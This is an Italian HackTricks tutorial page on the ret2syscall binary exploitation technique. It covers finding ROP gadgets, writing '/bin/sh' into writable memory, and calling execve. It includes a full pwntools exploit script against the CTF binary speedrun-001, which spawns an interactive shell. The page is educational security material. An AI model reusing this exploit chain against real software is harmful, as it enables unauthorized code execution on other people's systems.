Ret2syscall
Reading time: 5 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di base
Questo è simile a Ret2lib, tuttavia, in questo caso non chiameremo una funzione da una libreria. In questo caso, tutto sarà preparato per chiamare la syscall sys_execve
con alcuni argomenti per eseguire /bin/sh
. Questa tecnica viene solitamente eseguita su binari compilati staticamente, quindi potrebbero esserci molti gadget e istruzioni syscall.
Per preparare la chiamata per la syscall è necessaria la seguente configurazione:
rax: 59 Specifica sys_execve
rdi: ptr a "/bin/sh" specifica il file da eseguire
rsi: 0 specifica nessun argomento passato
rdx: 0 specifica nessuna variabile d'ambiente passata
Quindi, fondamentalmente è necessario scrivere la stringa /bin/sh
da qualche parte e poi eseguire la syscall
(essendo consapevoli del padding necessario per controllare lo stack). Per questo, abbiamo bisogno di un gadget per scrivere /bin/sh
in un'area conosciuta.
tip
Un'altra syscall interessante da chiamare è mprotect
che consentirebbe a un attaccante di modificare i permessi di una pagina in memoria. Questo può essere combinato con ret2shellcode.
Gadget di registrazione
Iniziamo a trovare come controllare quei registri:
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
0x0000000000400686 : pop rdi ; ret
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
Con questi indirizzi è possibile scrivere il contenuto nello stack e caricarlo nei registri.
Scrivere stringa
Memoria scrivibile
Prima devi trovare un luogo scrivibile nella memoria
gef> vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
Scrivere stringa in memoria
Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
Automatizzare la catena ROP
Il seguente comando crea una catena ROP completa sys_execve
dato un binario statico quando ci sono gadget write-what-where e istruzioni syscall:
ROPgadget --binary vuln --ropchain
32 bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop += popRdx # place value into EAX
rop += "/bin" # 4 bytes at a time
rop += popRax # place value into edx
rop += p32(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
rop += popRdx
rop += "//sh"
rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
64 bit
'''
Lets write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
Gadget mancanti
Se ti mancano gadget, ad esempio per scrivere /bin/sh
in memoria, puoi utilizzare la tecnica SROP per controllare tutti i valori dei registri (inclusi RIP e registri dei parametri) dallo stack:
{{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}}
Esempio di exploit
from pwn import *
target = process('./speedrun-001')
#gdb.attach(target, gdbscript = 'b *0x400bad')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = ''
rop += popRdx
rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = "0"*0x408 + rop
# Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Altri Esempi & Riferimenti
- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
- 64 bit, no PIE, nx, scrivere in memoria un ROP per chiamare
execve
e saltare lì. - https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
- 64 bit, nx, no PIE, scrivere in memoria un ROP per chiamare
execve
e saltare lì. Per scrivere nello stack viene abusata una funzione che esegue operazioni matematiche. - https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bit, no PIE, nx, BF canary, scrivere in memoria un ROP per chiamare
execve
e saltare lì.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.